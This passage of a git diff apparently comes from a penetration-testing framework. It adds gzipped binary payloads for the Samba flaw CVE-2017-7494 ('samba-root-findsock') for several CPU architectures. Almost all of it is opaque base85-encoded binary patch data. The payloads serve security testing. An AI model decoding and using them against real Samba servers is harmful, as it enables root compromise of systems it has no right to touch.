zEoemlIy5|BU<~I;3=xKK?DHgs3-|`8yi}Ge&y{;CGi7Cp`0#@{OiZHWx_}J6T4T- zb7h=oCXJE=qttuEikq>G8aYvAqHEDWnlUVZ5^g!g2@7on+-O zrrQa84S8{#;`%5Ab@>|*(q*ByqkR=T#>h{x@&=F9ciY|9UXS_X-6!(;Dj0XPk3(_z z{X>>VV!o*)<}9P@?b9?83-Y`vtX-j89hm#Gm78#EA%@sc-tEBLnyO%) zV16Yrugd0n#2i}09136#Nti>8&K!E_BIAB-BN6U3Tbt7bHf09R0&N(6oi= zw%fWLTqmuYp^>cV_GV2}b8WYY?g>d-zVi?s%DS~r={qfe`rYfwu}$L|kbH|%x^HR# zHn{Ls7cRMQzYAaI!q>Q8_5AnyOnK!ydS;xyqo1g2zIW5>9lbr8%4{zr$>SDnbhz)r zZh+a7zB$MC0_rm=d>?A9)@rTRYOU64t=4L-)@rTRYOU64?f@=opTSV)7LrX)uwaqMRhu5^v}BJ)Ia}{ zi{4E0`nHSSLg{y1^j1n=cF{Tau{!-h$NI79=KZRBem8jJNx*~t5Qi+(f%YMXzEPW??@p0FUyn2NBtt*Q&@VIeabaZ~$a=^!bkiS_f8VzCtYP!{MUU}%#o-(i z2R8l}1%96V!Xpm1Y=4~ZJrBDJB0r!1#KfPq`!|7`KY~xN^t0<-AoI(s3kX>JPCB{I zp#109dVwD9y)+1Y{CjNS>oT7{#lI&PPV?&>gtH#?4j1_M@WNFOe?IW2kN6e;{$Kbb zzg|H22fw~RT+6Ss5S#gR6XL`CIt#I#A2+d=Uk4!`_RxRSLr<1puOWVyU#}s)z^&Ja z<%@-4X<{N614Zc{J3OKc4UUeH$^>P=fgS9(5W7Y}DNZUeQj1VP4mGPJ(%EPvt*FIp zzMw=(QxMBe=F;(ETn+B(-LVr$hmumK2=+KkQ1 zq>c^un;Zv*4)^UHQV#FmKe}&B8Qa@8v=6C?oL&PF4%>wY&iV_xr>A;7hr0m77TjUg zMHp2ft~v_`qpO(2D63dm?!hbWFv>U_BOz56&SDIsT7y$k!jy(MR2bzOp2aFFYeb9! z7*bur>VaTkda@XaA}r<&m^7crtOg^|)I>UxC{Q$;E2gp;#4_1pJcwtsV6>DJ^4C0!JqB(trg88f- z_h3A!=qU|BJqgi<0iKExJ6V)17>p!HL0lS>@eC4kDs>}LEap?uQW4|(Uud7jm+V$^ z@jK68dscGt#j*~hdkNmd%-$yn)04?wf5F(w=aWT_b58|Lq|Pt z1IIquN5;TaM`@pvt@H9laMo5fGJbpw>^e`;d7d_*7^e0`PW+-^o#)Md^W1GhtDe;T zWk%Xl?z&9-d~Ti7LoWYC20m@qd75)bDU#E`UjU($Zek3i z_e-dX|3Bl%FS*XIbye(NW8{6#?*i-lK&mqSTO4_MUbns@s>y%Ak*DWt>zv(KMgEtj zytJae+By-t}_20;`;yCLw?A^f7V_z^Zs(Rtv{#iLKS%doVC`h{c*ai$U4}BKRulHXOp-6 UPMQGXYhL#M2?FEjC-^b|0CGDc1poj5 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-mips64el.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-mips64el.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..f6acf64f3b21f66b69c90906b60711ae26244140 GIT binary patch literal 3048 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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-mipsel.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-mipsel.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..52f21b7e4b3966eaf918b3678d3de94348860599 GIT binary patch literal 2894 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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-powerpc.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-powerpc.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..0463cfbd958e387481b0bea90b78ba6e866dda71 GIT binary patch literal 3266 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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-powerpc64.so.gz b/data/exploits/CVE-2017-7494/samba-root-findsock-powerpc64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..92e71ce42ec1febd0623a54e99c754a69e01da34 GIT binary patch literal 3400 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 oKOo`Me`D3%b%1oXiwk$v5*bpjsv><0(5jc~ zeJhm^kt@{OWe0Rx!%)#nXbUALQgRcdKSKqEq9XX($rs~S_!QML)E-b5`g3xwMm|NG z8H(k;p0jh!mjrSHx$*M(ML1`rnlG_TC0@aoI|HO}>yepy^5}U{;^XJ@=<(&z^W!}IoAdOa&eMMZ>{+kh zx?iI32Y_!N_*n|S3VKTP+mdF2;pZWl!=1#>!U+5_oQU!lqHURD-`g6D}k49oq zIidREsw^Wp6b-3J9sz>n-GhB{K#41(p@gc$2m9K>v8XcW8xAWvkI#|)DIZqg3x{5S zX3tT1fb?q%`w|HyffByRuumIFj>G~<5b_6o(NRTKV{$weQ{`kriK9_PO~m|%qrQlO z5=u0H0?Dxkq@)!8Q9KG*>_05~gNNl2Unq<;ZMtHjGaMTBdlE5E6OxsHPxXP!a3Z14 z6d+L8)w{d3O>Xcsns*JvE20+OqIs`>1 z<37 z(Xm`A!JP|LrtfF7*#&Hi#vkVLZvwkY<9~z8|1EyjHGU75|4ZO^Yy7Wr`ELP#NaHtf z`DcKi()dqv`9A>uq{iRGRY5$C z!+JagUVG$lq#=S_E=|fg`>|B9SPpSqyjYLEhFr5nsD5z=JVC`v&G0rF#~Moh4jLS2 z9LtqtbRGCwd?(WnYcmDt!h9w>ls$3=O`&NOJ%@Fd{6@1{gf%X@46#}AVR`|q-j<$$ zFuIh6-LCjOP5ZT3C%V1(7i`1y?QC{w3tB&=Ojje}ay4*&rCC=xUk+mS(z}|(g{3Xo z z#AIzIb{OLvx&@k%Me_t$Us#3bV5>rlS&%+-0Ca$zwb|FF!SAz`s2umUdg`X;DTto} zP0N<~mh(aI_1yV>-Pfj{hjc${y|!Tw82Ug0ug=`e11y18*qMS@-jW?(ypstUvN#r< z;nKVF*Y7-l6_ucAU)qp;m>nmpduO>w8_|gS$E|;!{jazTVh`Im0{a@X&pk67iawLT zuMYH7c3)rX8?XxLmuy!oNfrtm51?1{`)b?sc>luhh-~)Lp8#!y_{8sp0Lej-@WKER zQe{H5YuyxiHGUcAe9(VL%U3#IcD_<{%JFL9YXzNUXKn4JB{pI3!#{lR{xw4a_wNOZ z&uV#(rGHw4{@=Fr{{Qtqb!Ewwug&K0gx*gd_%hDT?B(bo^bnyZ34NQ;-xK-?nKtor(YF6?eD_3GTibK)y8Xk+ zsG4-|^fY?B+nbVFtNwU>lgHcWY5by&yBoaqP2MK&vyatkGyNr8VQ`U&9|N~Babw_i zCcX^3fLmsu1PWY6TEn|na`h_UElT0`N_a}=U|L)^FnNoxNY&FOK{>-8dq)8l@h!e`dt zpC3{F8KQ9fJ~rZne(rve$3JtqaZ6}_zDwb>JvZ~%gYw{u)OykLeIRh-M<@_XJ#-uj z_?h557s6J7Th|e`=k(BVE41i5Uhgqj=~@%WJ} zw+-$ckb8IU8^o0{x!uz0X)_zS8kwv{WIwKjC6GTB84D|_67V!NHSItFH5QjcffR1- zM1Eg5EX#5rCXa?=!@jVL*$LT~OzEtVxG$o}fn+3d%rK*4PrEj5=fJMM4zq==(C=5M z^qVTRvek>715#w7X&R8LQdh5DoL)G7k5@GtCD(w71uLq4ak!?7Eyh}K-IWTgT`GnrYfG% zXwoyB421*RLjk0>3xAgNO|u5*qm@kA&VwKQbl#g(uRcO-XXVHJ5aYdorw zf?v(`o_I`K2#*pZQ5X!wb1mf2!U_h|$svDS8{8KO`C-5qsL{p2kOyLS48geKwkY%Mn1#jg)Oi^U^LS+80B2@S*8B=8Bs~Fv)HNP~d zd0s)B{J)zzH;C3e)XYcg82d$v?$4b=O!hyMDKFd^cDgXcg literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-7494/samba-root-findsock-sparc.so.gz 